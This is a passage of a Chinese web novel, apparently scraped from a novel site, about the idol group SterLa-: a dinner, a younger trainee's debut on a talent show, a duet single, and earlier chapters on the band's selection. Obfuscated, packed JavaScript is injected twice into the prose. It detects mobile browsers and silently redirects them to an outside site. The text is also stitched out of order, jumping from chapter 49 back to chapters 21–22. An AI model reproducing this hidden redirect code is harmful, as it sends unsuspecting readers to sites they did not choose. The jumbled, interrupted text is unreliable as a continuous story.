一开始他们不好劝，熟了之后也劝过。但是葛文山说不吃就是不吃，公司那边也嘱意他保持现有的身材，默许他保有现在的饮食习惯，毕竟他好大一部分粉丝群体是吃他身材颜值的。 江翰飞看了会儿，站起来又给葛文山打碗汤放他旁边。 “谢谢。”葛文山说道。 他知道队友们担心他节食过度。但他和他的身体已经适应了这样的饮食，虽然能吃的少了很多，但是他觉得挺值得的，至少他没觉得后悔过。 聚餐的最后，吴星雨给每个人添上汤，举起汤碗，“虽然有点俗气，但我还是想和大家干一碗，我们以汤代酒吧。” “很庆幸和你们组成了一个团，也真心希望我们SterLa-能走得更远，更高。” 江翰飞也举起手里的汤碗，碗碰到一起时发出清脆的撞击声，心里莫名生出一种圆满。 今天可能是个非常好的日子。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019973|143374||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他们吃完从饭店出来，江翰飞接到了一个电话。 “飞哥！”时元充满活力的声音从电话那头传来。 “小元。”江翰飞笑着应道，“在呢。” 于立果听到小元也凑过来，“你于哥也在旁边。” “于哥，飞哥！我入围决赛啦啊啊啊。”时元在那边开心地蹦蹦跳跳，“决赛在两周后，你们能过来吗？我还有亲属票！” “恭喜小元儿。”江翰飞笑得眼睛弯弯，“我和于哥都追着看你的节目呢，小元儿表现得超好。” “决赛我们跟经纪人和公司申请一下能不能去，你先专心准备最后一个舞台吧。”于立果在旁边说道。担心时元听不清楚，说话声音特别大。 路人被于立果的声音吸引，朝这边看过来。 嚯，五个大高个大晚上的戴着口罩帽子，遮得严严实实，看着挺大只，这么怕冷啊？ 也幸好现在是冬天，戴着帽子的不少；尽管他们装扮稍显奇怪，但还在大众常识的接受范围内，没引起围观。 江翰飞赶紧把手机塞进于立果手里，让他拿着和时元聊。一边拽过于立果跟上往前走的队伍。 “两周后是春节，不知道公司那边怎么安排工作。”于立果放回了正常音量和时元聊着，“要是公司同意我和你飞哥就去，好吧？” “嗯嗯！能来就好了，决赛应该很多人的！”时元想得很简单，决赛肯定有很多流量，如果他飞哥和于哥能来，肯定会给他们镜头，也能吸粉的！ “小元好好准备决赛吧，我和于哥会去申请的。”江翰飞笑着说，顿了一会儿，“但是如果公司不允许我们不能去现场，你也不能失望啊，好好调整心态，表现出自己最好的一面。” “嗯嗯，我会的，飞哥！”时元的声音元气满满。这也是他粉丝喜欢时元的原因，本来就是个还在成长的少年，朝气蓬勃，元气满满。光是听着声音都让人觉得有种向上的蓬勃感。 走在前面的三人也在低声聊着，“是之前他俩拍视频加油的那个选手吧？好像叫时元。” “是他。”禹安知道的最多，“他上期排名挺好的，好像是第三还是第四。” ”按照他们选9个出道，不出意外是能出的。具体名次还得看公司和粉丝的情况。“ “你这么了解？”吴星雨不解地看过来。 禹安清清嗓子，说道，“毕竟是我们公司的，而且又是阿飞和于哥的朋友。” “再说了，选秀流量大得很，听说他们赶在今年春节前出道，就是为了赶上春节的流量福利，想要一飞冲天呢。” “我这是提前了解我们的潜在竞争对手。” “有道理。”吴星雨摸摸下巴，“学到了。” “马上春节了啊？” “我好像上次回家也是在去年除夕前一天。在家呆了两三天就回公司练习，当时一门心思的惦记着出道呢。” “谁不是呢。”禹安也想起自己已经一年没回家了。 48.第 48 章 赶在春节前，青川台吸引了大量目光的第二季选秀节目迎来决赛。 江翰飞和于立果作为时元的亲属团站在亲属区的站坑里。时元也邀请了宋文斌和高崎，只是现在的宋文斌当老师，有排课走不开；高崎转行去当模特，意外的受市场欢迎，现在正在国外走秀，一时半会儿也回不来。 “小元儿成长也太多了！”江翰飞压低激动的声音和于立果说道。 两人低调得很，现场的导播又配合着藏着这两个小惊喜，刻意不让他们暴露在观众眼里。他俩就顺顺利利地呆到了排名宣布前。 “下面宣布第三名。”上面的主持人看了眼手卡，”这位练习生以少年感深受各位造星人的宠爱······“ “少年感！是不是就是小元了？”于立果也难得激动地扯着江翰飞的袖子。 江翰飞没回答，他心都跳到嗓子眼了，比他第一次考核，第一次上台还紧张。任由于立果扯着自己的袖子，眼睛眨也不眨地盯着台上主持人。 “在前几次的排名中，这位练习生一直保持着高位。”主持人刻意停顿片刻，等待着耳机里导播的指示。 台下的粉丝们被这一句话三个停顿的宣布搞得暴躁无比，恨不得冲上台去抢过主持人的手卡自己痛快地宣布。 “那么他是·····“ 而真到了宣读排名的时候，场内忽地安静下来，只偶尔听见某位粉丝叫喊着自家爱豆的名字。 “时元！”主持人痛快地宣布，“恭喜时元练习生获得第三名。” “啊啊啊啊啊！” “圆子！！” “时元宝宝！！！！” 时元的粉丝激动地尖叫，使劲儿地摇晃着手里的灯牌，不少感性的粉丝激动地哭出来。一个十几岁的小孩儿，在一百多个人里努力拼杀出来，太不容易了呜呜呜！ 江翰飞和于立果也激动地抱在一起跳起来。时元是他们的弟弟，他俩确定为出道组以后一直担心时元心里会觉得自己被丢下。可小孩儿懂事儿，还主动反过来安慰他们。现在看到时元也走上了自己的道路，两人心里更是成就感混杂着骄傲：小元儿真是太厉害了，小元儿的粉丝也真有眼力，能一眼相中小元儿。 时元从剩下的练习生里走出，站到属于他的小舞台上。 “时元练习生，恭喜你出道。”主持人把握着节奏，“有什么想和造星者们分享的吗？” “大家好，我是练习生时元。”时元拿着话筒的手在微微颤抖着，脑子发涨，努力回想着自己准备的说辞，“真的非常非常非常感谢各位造星者的支持。” 说着，时元深深地鞠躬。 再直起来时眼泪已经顺着脸颊流下。他吸吸鼻子，开始说着自己的出道感言。 “······，最后我还要感谢几个人。“时元的目光往亲属区看去，”是我的几位哥哥。“ 摄影师跟着导播的指示，将镜头对准江翰飞和于立果两人，两张帅脸出现在大屏幕上。 “啊啊啊啊！是SterLa-！“ “谁？哪儿来的两个大帅哥？” “是小元的亲哥哥吗？” “江翰飞！于立果！居然是你们！” SterLa-出道成绩优秀，算是去年出道的新人王，在场的圈内粉丝即使不认识，一说是SterLa-，大多都听说过名字。更有他们的粉丝认出来，激动地在场地尖叫。 江翰飞和于立果眼睛和鼻尖微红，对着摄像头笑着打了个招呼。 时元也看着对面大屏幕上出现的两个人，红红的眼睛笑眯了，嘴角也扯出一个大大的笑。 “除了飞哥和于哥，还有文斌哥还崎哥没法来。当初在公司的时候，是他们一路照顾着我。”时元也想起来当初的维C群，一行几人每天练习争取升级的日子。很累很苦，最难受的是那遥遥望不到头的结果，在没有任何期待中努力，更不知道自己的努力是不是对的，有没有价值。 “走出他们的保护范围后后，我才猛然发现他们将我保护得有多好。” “每次在准备舞台练习到觉得自己爬不起来的时候，我就会想到飞哥他们。” “飞哥在的话，他一定还能再起来练习两遍。没到他觉得好的标准，他就不会停下。想着想着，我就又有力气再爬起来跳上两遍。” “而我每次感觉自己很down的时候也会想到于哥，他跟我说过每个人都有自己的路，如果我们确定了要走某一条，那就先用努力走到这条路的尽头再评判自己有没有天赋。” “我想要感谢的人太多太多，想要感谢的情感也太多太多。我不知道怎么表达才好，但是我真的非常非常非常非常感谢你们。我会一直努力，直到走到这条路的尽头。” “希望在这条路上，我们能一直一起走。” “谢谢大家啦！我是时元，今天我终于出道啦！！”时元开心地喊叫，双手向上打开，尝试着拥抱以后出道的新世界。 说完感言，时元走向属于他的出道位坐下。 今天也是乐狮的丰收日，当时推了7个练习生给节目组，如今9个出道席位中占其三。除了时元，还有当时出道战失败的叔浩浩，以及当年靠脸就成为A级现在卡位出道的方高邈。 九个人站在出道高台上，宣布一个半月后将正式组合出道。 节目的流量自不必说。从决赛直播开始，就一个接一个的热搜就没听过，到最后冠军出道，一个选秀节目横扫二十个热搜词条。其中江翰飞和于立果也占了一个。要不是这导演和唐君君有些交情，哪能这么配合把流量引到他们身上呢？ 出道夜结束，时元直接扑到了站在家属区的他俩身上，“飞哥，于哥，还好你们来了。” “站在上面我脑子都懵了。”时元揽住两人肩膀，“准备好的说辞都没用上。” “说的这么好原来都是临时发挥啊？”于立果装作惊讶的样子，怪声怪气道。 时元站直，不好意思地嘿嘿笑着。 江翰飞理理时元 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一路上时元都在叭叭说着节目组里的事情，有好的有坏的，还有他第一次上舞台的感受，第一次有粉丝为他举灯牌为他应援的感受。 江翰飞看着目光晶亮，脸颊涨红的时元。 他再次感受到了当初自己第一次拥有粉丝的感觉。 那是一种什么感觉呢？ 当他第一次站在灯光聚焦的出道舞台上，当他有了自己的大吧和超话，当他有了第一个只关注他的摄像头，好像他的每一句话每一个眼神都被注视。那是一种从未有过的莫名的感受。 像是一块干涸了十几年的田，安安静静地偏安一隅，埋头过着自己的生活。突然被一条溪流穿堂而过，溪流的水滋养着他皲裂的土壤，让他们重新吸收水分变得湿润，让枯干草根虬结的干土块变成也能滋生出嫩绿的水草，溪边花丛的土壤。 每次只要他能看见粉丝，他就知道有人在毫无保留的爱他，他的小溪就不会断流。 就像现在的时元一样，真心的感谢着每一位爱他的人，也为此感到开心和兴奋，也明白为什么那么多练习生想要出道和站在舞台上。 即使在走到舞台的聚焦灯下前，有漫长无尽的黑夜需要等待和煎熬。 于立果问时元累不累，正兴奋的时元拍拍胸脯，“我现在感觉自己浑身是劲儿，能再跳一个小时不带歇的！” “哦？那我们待会儿回去了要不先去舞蹈室练练？”于立果拖长了声调逗弄着时元。 “啊——，不，不用了吧？”时元声音越来越低，怂怂地看向江翰飞。 不会真要去练习室吧？飞哥可真能干出这种事儿的。 江翰飞少见地无语半晌，拍拍时元大腿，“回了宿舍好好休息，明天公司该给你派经纪人了。” 时元又嘿嘿笑起来。 今晚出道实在兴奋，但等他到宿舍洗漱完，刚上床握着手机就睡着了。 江翰飞和于立果往自己宿舍回去，路上两人呼出白雾，又到新一年春节。 49.第 49 章 时元的春节远比江翰飞他们忙碌，一天休息的时间都没有，回公司第二天还没来得及庆祝，就被要求收拾好行李搬进团队宿舍。 因为定好的出道日期就在一个半月以后。 在这一个半月里，他们需要压缩几个月的准备时间，把MV的拍摄制作，主题曲的联系，专辑制作等全部搞定。 时间匆忙，江翰飞他们竟然还没来得及和时元一起坐下来吃个饭聊聊就又各自忙碌。 江翰飞看着手机里收到的完成版单曲，点击收听。 这是前段时间在拼盘演唱会后，有名的个人创作歌手袁杰老师通过公司向他邀约的合作单曲。 袁杰老师筹备自己的正规六辑已有两三年。其中一首收录歌曲一直没找到合适的合唱人员，本来在苦恼这事儿呢，都在想要不要放弃这首歌了，没想到刚好在拼盘演唱会上听到了江翰飞的声音。 作为一名老流行歌手，袁杰曾经也红极一时，对音乐有自己的理解和坚持。对他来说，他也经历过被小姑娘小伙子疯狂追星，还有直接跑到他家楼下堵他的。但他难以理解的是现在这些追星的跟他们当年不一样，能为了追星做出很多不理智的事情，不是个人，而是群体。 而最重要的是他们追的那个星唱的歌曲实在是····，好听一点叫难登大雅之堂，难听一点就是完全的口水歌，有的甚至不能称为歌曲。就这样的歌，却能因为粉丝的支持拿到很好的名次和流量，挤得一些真正在做好歌曲的歌手没有生存空间。 再加上偶尔刷新闻或者听圈内人士聊八卦，对他们这个所谓的偶像群体实在是提不起兴趣，甚至隐隐有些厌恶。每次拼盘演唱会也好，一些音乐节目也好，哪怕是私下的聚会，遇上这些偶像，他都尽量远远避开，减少交流。 但拼盘演唱会上江翰飞的音色和音域完美符合不说，唱歌技巧虽然略微欠缺，但能把男团歌曲唱出自己的情感，他觉得还是很不错的。犹豫再三，约定好后续制作的日期迫在眉睫，还是在演唱会第二天联系了江翰飞的公司，邀请他合唱。 原本复杂长期的单曲制作因为时间紧张，从江翰飞在录音室录完这首歌到现在出来成品，也不过一个月的时间。 袁杰老师的经纪约挂在某个公司名下，但一般除了合同协议以及宣发渠道，专辑相关的事情都是袁杰老师亲自操刀。 就连联系江翰飞这事儿，也是袁杰说要他来就定下了，压根儿没经过他现在挂的经纪公司。不然按照现在的潜规则，江翰飞的公司不提供一些资源置换，是不可能让江翰飞上的。 @制作公司：老师们，这是曲子的成品，请各位老师看看还有没有什么问题呢？ @袁杰：哈哈，我没什么问题，小江唱得挺好[赞大拇指] @江翰飞：谢谢袁杰老师称赞，我也没有问题。 @袁杰：@制作公司那行，你们把这个版本的放进专辑里吧。按照之前确认好的，整张专辑可以开始制作了。 @唐君君：@袁杰袁老师，您这边预计什么时候上线歌曲呢？我们这边也能提供宣传上的配合。 @袁杰：2.25 @唐君君：好的 唐君君收起手机看向江翰飞，“2.25，就是大年之后了。” “袁杰还是勇啊，敢在这个时期发歌。” 春节前后都是新年歌曲的天下，从超市到卖场无处不在。一般不会有人在这个时候发布专辑去碰一鼻子灰。 “2.25宣布，正好这段时间你们没有其他活动安排，年后的三专可以靠这个带带宣传。”唐君君想了想，又说道，“过年两天假期好好休息吧，年后你要把时间留出来，在保证三专制作的前提下配合袁那边的宣传。” 江翰飞点头，“没问题。舞蹈和歌曲我会提前熟悉好的。” 唐君君没多想，还有三四天才到过年放假，以为江翰飞说的是这几天会把舞蹈和歌曲练好。 “那行，没事儿你先回练习室吧。” 江翰飞回到练习室，他们正在休息。 他们已经跟编舞老师学完了整支主题曲的编舞，现在都是吴星雨带着大家练习舞蹈。 “阿飞，没事儿吧？”吴星雨手撑在地板上，仰头问道。 江翰飞摇摇头，“是上次说的合作单曲，已经出来了。” “这么快？！”禹安惊讶，上次江翰飞单独接到电话去了公司，回来就跟他们讲了袁杰邀请他合唱的事儿。 四人‘羡慕嫉妒恨’，毕竟是袁杰啊！一代流行歌手，也是知名制作人老师。光是由他个人制作发布的神曲就好几首。更有许多有他参与操刀制作的高传唱度歌曲，随便放几首，街上一半的人都能跟着哼哼。 “快给我们听听！”禹安兴奋地说，“这可是真正的抢鲜版！” “袁杰老师打算年后发专，所以时间催的紧。”江翰飞一边解释，一边拿出手机把收到的成品给他们听。在正式播放之前，江翰飞又说道，“这个不能外传的。” “知道知道。”禹安拿过江翰飞的手机，“老师还没发专呢，我们外网传不就是泄曲吗？我才不想被告。” 说完就不理江翰飞，几人凑在一起开始听歌。听完一遍还不够，又点重播再反复听。 于立果听了两遍就没听了，走过来站在江翰飞旁边，“那你后面负荷就比较重了。” “一边自己专辑的制作，一边是袁杰老师那边的宣发，能吃得消吗？” “应该可以，春节放假我多练练，后面再抽一点时间没问题的。” 于立果看了江翰飞一眼，他才不信江翰飞会抽‘一点’时间。对江翰飞来说，那一点时间可能就是极限施压自己。在练习生阶段和合宿训练的时候他可是见识过的。 心里暗自记下这事儿，后面得多注意一下江翰飞的作息。 当天晚上，SterLa-的官方账号上发布了两个人的神秘黑色剪影。 这是合作曲或者小分队活动常用的宣发。粉丝们先自己炸一波，奔走相告SterLa-可能要出小分队了。又纷纷化身为现代福尔摩斯，试图从剪影的动作，形态上扒出到底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14056194|143374||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是谁和谁的组合活动。 可扒着扒着，粉丝有点懵逼。 其中一个是江翰飞，剪影的动作来江翰飞一张官方宣传图。可另一个人物他们扒了半天，和其余四人的各种图片一一比较，都不太像。 直到有个粉丝突然在群里说了句，“会不会是和外面的人合作？” 这下粉丝更是炸开锅。 一方面江翰飞的小蝴蝶们普天同庆，纷纷奔走相告江翰飞要有新活动，疑似还是跟外部的人合作。一方面其余四人的粉丝直接想轰了官方账号。 “凭什么好事儿都是他的？” “拜托，他只是主唱，不是你们的爹吧？” “不理解，别人家都是从Top或者是队长开始，你团别具一格，从主唱开始。” “不用你理解，你的小脑发育程度能理解才有鬼。江翰飞团内主唱，论超话粉丝数，站姐数量，神图数量哪样没有碾压你们。还在过刚出道的老黄历呢？” “楼上笑死，超话粉丝数这些都能买好吗？比点真金白银的吧。出道专的销量贡献最大的难道不是禹安吗？真金白银堆出来的你敢否认？” “都说不要过老黄历。刚出道的时候阿飞确实不是Top我们承认，后面追上的时候专辑都断货了，我们上哪儿买？难道后面的咖啡代言直接包场送是假的吗？” “SterLa-几人的感情好是公认的，大家这么吵也很影响各自的路人感官。公司有公司的安排，我们尽量为其余四位成员争取权益不好吗？” “······” 网上吵翻了天，在各个男团里粉丝间算得上和谐的SterLa-爆发了第一波唯粉间的战争，团粉在一边看着干着急，想插手也插不上手。 随着几天过去，争吵本来已经快平息。这时候袁杰又开始做宣发。 江翰飞旁边的黑色剪影动作和袁杰的宣发海报动作一模一样。这下直接快熄火的灶倒了一锅热油，其余四家粉丝的怒火彻底压不住了。 眼瞅着就要直接炮轰公司，五人突然齐刷刷地发了几张在海外拼盘演唱会晚上偷溜出去的照片，配上文字：大家新春快乐，要快快乐乐！ 每个人的照片都不一样。照片里都没有自己，只有队友。一看就是自己用手机拍的。 在他们的照片里队友之间勾肩搭背，相互追逐打闹，还有很幼稚地用寒冷天气里的白雾当做烟，做出潇洒抽烟的动作装酷。晚上的路灯把他们的影子拉得或短或长，但总是亲密的挤挤挨挨在一起，往着同一个方向走去。 原本炸裂的粉丝们安静下来。 他们懂自家爱豆的意思了。虽然为他鸣不平，但还是他自己的意愿更重要。如果他爱这个团队，爱他的成员们，那我们也会包容你爱的。 摁灭一波蓄势待发的风浪后，很快就到了袁杰发专辑的日子。 @袁杰：六辑里尝试了许多新的风格，也尝试着和从未接触过的领域的人合作，感觉很新鲜，希望大家喜欢。[专辑封面图][专辑主打曲封面图][专辑歌曲配置] 20-30 第21章 整个三月的合宿训练都在这样紧张的氛围中过去了。 甚至因为练习节奏过于紧迫，江翰飞突然听到时元和于立果讨论起第二天的月末考核时才恍然，三月已经到底了。 按照公司的计划，男团选拔也完成了大半。 “君君姐，这是策划部那边给过来的概念和人选。”一个男生递给唐君君一份文件。 “嗯，放那儿吧。”唐君君头也不抬，低头看着自己的笔记本还在思忖着什么。 策划部那边给过来的策划案她早看过了。看完后她就明白，公司推出的前一个男团Cilier不火是有理由的。 内容几乎毫无亮点和后续的可挖掘性。延伸性太弱，世界观太小，人设老掉牙，这样的男团策划市场是不可能买单的。 现在两家头部的娱乐公司在上面死死压着，以每年至少推出一个团体的速度冲击市场，花样和概念玩儿得五花八门，卷的下面的大大小小娱乐公司想要突破他们的防线抢占市场，必须要够新。 不客气的说，就现在策划部递交过来的资料拿出去竞争，简直是可笑的程度。 唐君君心里百转千回，终于还是下了决心。 进入了合宿训练的练习生是不用再参加月末考核的。他们正在练习室加紧排练马上要验收的曲目，Fantasy Boys的《Breaking Box》。 下午两点，这次来的人除了熟悉的练管和培训老师，公司的好几位中高层也到场了。坐在练习生前面的人比平时多了一倍不止。 这样的声势让他们马上猜想到一件事，这是不是要确定人选了？ 一想到这儿，有的人呼吸都粗重几分。 练习这么久，不就为了这个时候能展现的最好么？ 他们猜想的没有错，今天的确是唐君君提前跟他们几个中高层约好了时间来看看人选的。这些中高层他们对眼前的练习生并不很陌生，练习生的表现唐君君每次都会整理好发送给他们。选人的时间也不仅仅是这一个月，从去年12月公司就已经在进行观察和筛选，只是练习生们不知道而已。 验收结束的很快，练习生们老样子被放了半天的假期，公司的管理们则又聚集到了17楼的会议室。 “根据策划部那边给过来的策划，以及练习生的情况，我推荐的人选是这五个。” 最先说话的是唐君君，作为这次出道选拔的主要负责人以及前S级练管，她对练习生的熟悉度是最高的。 “你的意思是选中的概念中心是他了？”负责出道艺人部的刘部长指着其中一个人问道，出道后的男团是由他们来管理的，这次出道人选的最终决策权在他和他顶头上司艺人部门的部长经理于部长身上。 “是的。”唐君君推推眼镜，打开自己的PPT投屏到会议室屏幕上，开始解说起自己的想法。 练习生们对高层的事情一无所知，只是从这次验收之后，每次验收来的人越来越多，大家心知肚明应该是到最关键的时候了。谁都不敢也不想放松，为了更好的验收效果，他们的睡眠时间被一压再压。 江翰飞坐在一边听着大家讨论表演的细节，头重的快撑不起来，脑子里像是被塞了一团棉花和荆棘的混合物，搅得他又晕又痛。这几天每天的睡眠时间只有三四个小时，身体在反抗了。心里暗自祈祷着可千万别是生病了，这个节骨眼生病，功亏一篑都不够形容。 然而天不遂人愿。 到了晚上江翰飞发现自己晕的更厉害了，一摸额头，烫的。 吴星雨见他脸色特别红，还凑过来打趣他是不是现在体能不行了，跳了没多久脸就这么红了。 江翰飞笑笑没接话，实在是头晕，想着先去医务室看看，量个温度。有必要的话再拿点药，今天晚上休息睡一觉应该就能好了。 现在医务室应该还没关门，江翰飞撑着起来本想跟组里的人说声去买个东西，还没等他说话，起身时候脚一软，一头撞在了前面的葛文山身上。葛文山转过身来扶着他胳膊，看江翰飞脸色似乎不太对，脸和嘴唇红过头了，眼睛也半眯着。 晕晕乎乎跟葛文山道了个歉，江翰飞感受到有人的手贴上了自己额头。 “怎么这么烫？”吴星雨几人也发现江翰飞状态不对，围了过来。 “应该是高烧吧？” “发烧也不吱声，走走走，赶紧带他去医务室量体温拿药去。” 江翰飞已经烧的意识模糊了，只觉得自己全身上下都又闷又热，鼻子耳朵里都呼着热气，四肢绵软无力使不上劲儿，好像有人把自己背起来了，迷迷糊糊趴在人身上就睡了过去。 等再醒来，一睁眼就已经回到了宿舍。 盯着木板回神了好一会儿，才确认自己现在是在娱乐公司里，而不是在大学宿舍。 摸摸额头，贴着一块儿退烧贴。撑起身见床边放着一个小凳子，上面放着保温壶和杯子，还有一小袋子药。有人留了一张便利贴：温度计在袋子里，保温壶里有水，多喝水！ 打开那袋子药，掏出温度计测了□□温，38.2℃，已经转低烧了。 看看时间凌晨四点。这个点儿了，宿舍里还是空的。 江翰飞掀开被子，又吃了一次退烧药，灌上一壶水，抱着一壶热水往练习室去了。 练习室的人见他过来也都不意外。练习的间隙吴星雨几人围过来摸摸他的额头已经没那么烫了，又关心了几句就开始继续练习。 江翰飞瞅准时机跟葛文山道了个谢，当时应该是他带他去医务室拿的药。葛文山淡淡点个头，算是接受。 这段时间和葛文山熟悉之后，发现他只是话少，实际上应该还挺大气的，很多小事都不会计较，是个如果非必要，不愿意和人起争执的性格。所以江翰飞见葛文山点点头也没再说什么，心里记着啥时候给葛文山买盒无糖薄荷糖。葛文山超爱的口味。 不知道是不是天气反复变化和高压的双重原因，最近和江翰飞一样生病的练习生一连好几个，不少直接贴着退烧贴来练习，让公司都不得不出来说让大家注意身体和休息，不要有太多的心理负担。 这话说了跟没说一样。 吴星雨私下是这么评价的，江翰飞也赞同点头。 没想到公司刚说完就出事了。 朱正谊因伤退出了这次选拔。 江翰飞听见这个消息的时候人都呆了一下。之前的练习生大多都是感冒发烧，但朱正谊是因为二度半月板损伤和髌骨软化需要先做手术再做康复训练，肯定赶不上这次男团选拔了。 知道消息的练习生不少为朱正谊感到惋惜，江翰飞是其中之一。他见过朱正谊除夕夜的练习室灯光，也记得前段时间一起晚上加练累到爬不起来的疲惫，如果只是努力了最终没有成果也许不会太难过，但他是努力了却也倒在了努力上。江翰飞深吸一口气，拿起擦汗的毛巾覆在脸上，用力地呼出去，擦掉脸上的汗水继续练习。 最早进入合宿训练到现在还留着的人不多，朱正谊是其中之一，练习生们本来暗自猜测出道位应该有朱正谊一个，现在是绝对没可能了。相对的，主攻声乐的其他人松了口气，少一个人就少一个竞争者。 公司这边很头疼。练习生们猜的没错，这段时间他们正在斟酌的另有其人，朱正谊其实已经预定了出道位。现在突然出现这种问题，不得不把朱正谊从这次的出道人选里划掉。 但一时间又上哪儿去找一个和他差不多的人来补位呢？ 概念和策划经过多次开会商讨已经定下绝大部分，不可能因为某个练习生的退出全部推翻重来。策划部门给的策划已经做了两三年了，只是在确定实际人选后会再根据实际的人选对概念策划进行微调。就像服装设计做高定一样，样式设计是早就定好了，只是需要根据具体的身体尺寸进行微调，让衣服更合身。 总不能因为一个人穿不了就把这套设计好的衣服直接给丢掉。 朱正谊预计的定位是领唱。在原本的设计里，主唱作为负责中高音部分，朱正谊负责中低音部分，两人的声音刚好差了一个八度，不仅和声好听，宽音域也能让组合在以后的选曲上有更大的空间。 这是公司特意将两人组合在一起好几次，反复测试了不同风格和音域的歌曲后才将这两人作为双声乐确定下来。 现在算是前功尽弃了。 17楼的会议室一片安静。刘部长催着谢部长赶紧想想办法，练习生里还有没有可以补位的人。谢部长被催的也烦，但烦归烦，活儿还是得干。 谢部长看向唐君君。 “首先概念中心和定位不能再改了，已经放着他们磨合了一段时间，效果不错。几个人之间已经开始有化学反应，定位和人设没有重合，后续的策划和歌曲也一一确认过了。”唐君君思索着开口，“S级的练习生里没有合适的补位。” 在场的人没有打断她。作为负责人，她责无旁贷，必须给出补救方案，“A级里的声乐定位能出的也在合宿训练里过了一遍；有一个偏中低音的可以勉强补位。但他的稳定性和心理素质太差，训练期间一起组队的时候没有一个人和他相合，被淘汰之前几乎所有和他组队的人跟他的关系都不太好，这样的人放进团队是个隐形炸弹。” 刘部长赞同点头。 “如果说还有没有筛选过的人就是最近才升上A级的几个人了。其中有一个叫于立果的是声乐定位，也在关注范围内。他音域中低音和朱正谊的音域一致；音色偏低沉沙哑，颗粒感明显。进公司一年多，前大半年都在C级，近期升级态势很猛，半年内连续升级，在三月的月末考核里刚刚升到A级，能力方面没有问题；性格外向，本身善于交际。”唐君君边说边调出于立果的相关资料和考核视频。 “而且他和这两位的关系都不错。”唐君君点点组合里预定的其中两人，又补充了一句。 “把他调进合宿训练里。”看完于立果的唱歌视频和相关评价，谢部长下了结论，两周的时间，组五种不同风格的歌曲，拿来和被淘汰的A级练习生对比取其一。 当天下午，于立果作为补位人员搬进了合宿训练宿舍。 两周后，江翰飞，吴星雨，葛文山，禹安，于立果确认为出道组搬出了练习生宿舍。 第22章 “恭喜阿飞哥和于哥成功确认为出道组！”时元和江翰飞，于立果三人坐在秘密基地小凉亭里。时元拿出一个海绵蛋糕，上面意思意思的插了两根美味棒当做蜡烛，美其名曰给他俩庆祝确认为出道组。 江翰飞心里泛起酸麻，一时间不知道说什么好，顺着时元催促的眼神把美味棒取下来咔嚓咔嚓三两口吃完了。 “啊？阿飞哥你干嘛？蜡烛没了怎么许愿啊？”时元不满的叫嚷。 于立果拍拍时元后脑勺，取下另一根也咔嚓咔嚓三两口吃完了，“还没出道呢，庆祝个啥。” 时元知道这是两个哥哥在照顾自己情绪，当即嘿嘿一笑，又抽出一根美味棒插上去，“这一根是我的，公司通知要我参加半年后的选秀比赛，让我早点做准备呢！” “选秀比赛？青川台的？”江翰飞惊讶地望过去，去年9月青川台主办的一场男团选秀比赛，101位练习生选出9个人成团。因为是第一届选秀比赛，赛制新颖又声势浩大，吸引了大半娱乐圈的目光，直到今年2月结束。C位出道的那位据说直接飞升了，从一个底层的糊团爱豆翻身成了现在各大品牌争抢的代言人。 “嗯嗯，就是谢以欢出道的那个节目。”时元兴奋地说道，“半年以后才开始录制，节目组提前给公司发了通告，公司有7个名额。” “阿飞哥你还记得那个靠脸成为A级练习生的人吗？他也跟我一起去。” 江翰飞当然记得，当时他和时元作为C级练习生对那个人羡慕得不行。现在他已经确认为出道组了，时元也和那个人走到了一样的起点。 “小元儿，争取出道，到时候我们给你拉票！”于立果很开心一直照看的弟弟也站到了新的起点，当即又从美味棒的盒子里抽出三根美味棒都插在蛋糕上，“这是庆祝咱仨的，加油出道，然后出圈！” 时元和江翰飞捧场的鼓起掌，一起假装吹了蜡烛，开心的分食蛋糕。 两个哥确认了出道，弟弟也有了新方向。人高兴的时候，就得吃点糖和碳水才行！ 长胖，那也是明天的事儿！ 三人在凉亭放松下来，聊了好一会儿。主要是江翰飞和于立果一直在嘱咐时元，之后他俩就得和他们的队友一起练习，不能照看时元了，有点放心不下这个活泼单纯的弟弟。 公司照例给他们放了半天的假，出道组的几人搬进了新的专用宿舍，一个两人间，一个三人间。抽签决定了床位，收拾完东西后就睡了。 第二天一大早几人一起吃完早餐去了17楼的会议室集合。他们的名字都在这间会议室里被提过多次，但这还是他们第一次本人踏入这间会议室。 会议室里已经零散的坐了几个人，见他们进来都跟他们点头打过招呼，而后就低头在电脑键盘上噼里啪啦忙自己的。几人被这浓厚的上班氛围震慑住，老实的找了连着的几个位置坐下。 陆陆续续的人都到齐了。 江翰飞一眼看去，除了他们合宿期验收时就见过的一些人，还有一部分是完全陌生的面孔。 唐君君站在会议室最前面，下面坐着二十几个人，开弓没有回头箭，唐君君暗自深吸一口气，“各位早上好，先给大家做个自我介绍。” “唐君君，公司现在这个出道策划中男团的主要负责人。以后在座各位相关这个男团的所有事情，都可以找我。” 她说话不疾不徐，声音也很稳，给人强力的信服感。 江翰飞他们听着，面上都一副镇定的神色，心里都被问号和感叹号刷屏。从眼睛里还能看到没来得及遮掩的惊讶，疑惑和慌乱。 啧，这演技课没白上。 唐君君视线扫过他们，心里倒是挺满意的，不枉费她花了这么多功夫，“下面我们的男团成员先来跟大家自我介绍一下吧。” 说完朝着成员们一抬下巴。 吴星雨顺利接收到信号，站起来开始自我介绍：“我叫吴星雨，即将22岁，练习两年半，目前的定位是主舞。希望大家以后多关照。” “葛文山，22岁，练习三年，定位是主Rap。谢谢。” 